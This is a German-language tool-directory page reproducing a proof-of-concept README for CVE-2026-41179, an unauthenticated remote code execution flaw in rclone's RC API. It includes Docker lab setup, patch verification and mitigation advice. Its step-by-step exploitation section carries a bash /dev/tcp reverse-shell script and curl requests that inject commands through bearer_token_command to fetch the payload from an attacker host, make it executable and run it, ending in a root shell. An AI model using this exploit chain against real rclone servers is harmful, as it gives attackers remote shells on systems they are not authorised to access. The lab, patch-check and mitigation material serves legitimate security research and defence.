Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41179 — PoC für CVE-2026-41179 | Kitploit
Tools/GitHubGitHub/pssec-io/cve-2026-41179
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubpssec-io/cve-2026-41179

CVE-2026-41179

PoC für CVE-2026-41179

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-41179 — RCE ohne Authentifizierung über die rclone RC API

⚠️ NUR ZU BILDUNGSZWECKEN Dieses Repository ist ausschließlich für Sicherheitsforschung, Bildung und autorisierte Laborumgebungen bestimmt. PSSec und die Mitwirkenden dieses Repositorys befürworten, unterstützen oder übernehmen keinerlei Verantwortung für unbefugte, illegale oder böswillige Nutzung der hierin enthaltenen Informationen, Codes oder Techniken. Durch die Nutzung dieses Repositorys erklären Sie sich damit einverstanden, dass Sie allein für Ihre Handlungen verantwortlich sind und dass Sie nur Systeme testen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.


Überblick

CVE-2026-41179 ist eine kritische Schwachstelle zur Remotecodeausführung (RCE) ohne Authentifizierung in der integrierten Fernsteuerungs-API (RC) von rclone, die die Versionen 1.48.0 bis 1.73.4 betrifft.

Tool herunterladen
DetailWert
CVECVE-2026-41179
CVSS-Score9.8 (Kritisch)
Betroffene Versionenrclone 1.48.0 – 1.73.4
Gepatchte Versionrclone 1.73.5
KomponenteRC API (/operations/fsinfo-Endpunkt)
AngriffsvektorNetzwerk – keine Authentifizierung erforderlich

Funktionsweise

rclone wird mit einer integrierten HTTP-Fernsteuerungsschnittstelle (rcd) ausgeliefert. Der Endpunkt /operations/fsinfo akzeptiert eine benutzerdefinierte fs=-Zeichenfolge, die geparst und verwendet wird, um ein Backend zu instanziieren – einschließlich des WebDAV-Backends. Das WebDAV-Backend unterstützt einen bearer_token_command-Parameter, der direkt an exec.Command() ohne Bereinigung übergeben wird. Da für diesen Endpunkt standardmäßig keine Authentifizierung erforderlich ist, kann ein nicht authentifizierter Angreifer eine beliebige Betriebssystembefehlausführung als der rclone-Prozessbenutzer auslösen.

Angriffskette in Kürze:

root@kitploit:~
POST /operations/fsinfo (keine Authentifizierung)
  → rc.GetFs() parst die vom Angreifer kontrollierte fs=-Zeichenfolge
    → WebDAV-Backend wird mit Angreiferparametern instanziiert
      → bearer_token_command extrahiert
        → exec.Command() führt Betriebssystembefehl aus
          → RCE als rclone-Prozessbenutzer

Repository-Struktur

root@kitploit:~
CVE-2026-41179/
├── Dockerfile.rclone          # Angreifbares rclone-Image (v1.69.3)
├── patched.Dockerfile.rclone  # Gepatchtes rclone-Image (v1.73.5)
├── poc.sh                     # Reverse-Shell-Payload
└── instructions               # Schritt-für-Schritt-Lab-Anleitung

Lab-Einrichtung & Ausnutzung (Schritt für Schritt)

Voraussetzungen

  • Docker
  • Ein Listener: penelope oder netcat
  • Python 3 (zum Ausliefern des Payloads)

Schritt 1 — Erstellen des angreifbaren Docker-Images

root@kitploit:~
docker build -t rclone-vuln -f Dockerfile.rclone .

Erstellt einen Debian-slim-Container, der rclone v1.69.3 mit der RC API auf Port 5572 ausführt.


Schritt 2 — Starten des angreifbaren Containers

root@kitploit:~
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln

Die RC API ist nun ohne Authentifizierung unter http://127.0.0.1:5572 erreichbar.


Schritt 3 — Starten Ihres Listeners

root@kitploit:~
penelope -p 5555
# ODER
nc -lvnp 5555

Schritt 4 — Konfigurieren des Reverse-Shell-Payloads

Bearbeiten Sie poc.sh und setzen Sie Ihre Angreifer-IP und den Listening-Port:

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/<angreifer-ip>/<listening-port> 0>&1

Schritt 5 — Ausliefern des Payloads über HTTP

Führen Sie dies aus demselben Verzeichnis wie poc.sh aus:

root@kitploit:~
python3 -m http.server 8888

Schritt 6 — Herunterladen des Payloads auf das Ziel

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<angreifer-ip>:8888/poc.sh':'

Schritt 7 — Payload ausführbar machen

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'

Schritt 8 — Ausführen des Payloads

root@kitploit:~
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'

Schritt 9 — Empfangen der Shell

Überprüfen Sie Ihren Listener – Sie sollten eine Root-Shell vom Container erhalten:

root@kitploit:~
[+] Reverse-Shell von f7697b831050~172.17.0.3-Linux-x86_64 empfangen
[+] Shell erfolgreich mit /usr/bin/script aktualisiert!
whoami
root

Schritt 10 — Überprüfen des Patches

Wiederholen Sie die Schritte 1–8 mit dem gepatchten Image, um zu bestätigen, dass die Schwachstelle behoben ist:

root@kitploit:~
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched

Senden Sie dieselbe curl-Anfrage an Port 5573 – der Befehl sollte nicht ausgeführt werden.


Abhilfe

  • Aktualisieren Sie rclone auf v1.73.5 oder neuer – Authentifizierung wird jetzt standardmäßig für alle RC-Endpunkte erzwungen.
  • Wenn Sie nicht sofort aktualisieren können, starten Sie rcd mit den Flags --rc-user und --rc-pass, um Anmeldeinformationen anzufordern.
  • Beschränken Sie den Netzwerkzugriff auf den RC-Port (5572) über Firewall-Regeln – er sollte niemals gegenüber nicht vertrauenswürdigen Netzwerken freigegeben werden.
  • Erwägen Sie die explizite Verwendung von --rc-no-auth=false (der neue Standard in gepatchten Versionen) in Startskripten.

Haftungsausschluss

Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Der Proof-of-Concept-Code demonstriert eine echte Schwachstelle in einer kontrollierten Docker-Lab-Umgebung.

PSSec und alle Mitwirkenden:

  • Autorisieren oder fördern nicht die Ausnutzung von Systemen ohne ausdrückliche schriftliche Genehmigung des Systembesitzers.
  • Übernehmen keinerlei Verantwortung für Schäden, Datenverluste, rechtliche Konsequenzen oder Missbrauch, die aus der Nutzung dieses Materials entstehen.
  • Empfehlen, dass alle Tests nur in isolierten Laborumgebungen durchgeführt werden, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind.

Die unbefugte Nutzung dieses Codes gegen Produktionssysteme oder Systeme, die Ihnen nicht gehören, kann gegen Computerbetrugs- und Cyberkriminalitätsgesetze in Ihrem Land verstoßen.


CVE-2026-41179 – Forschung von PSSec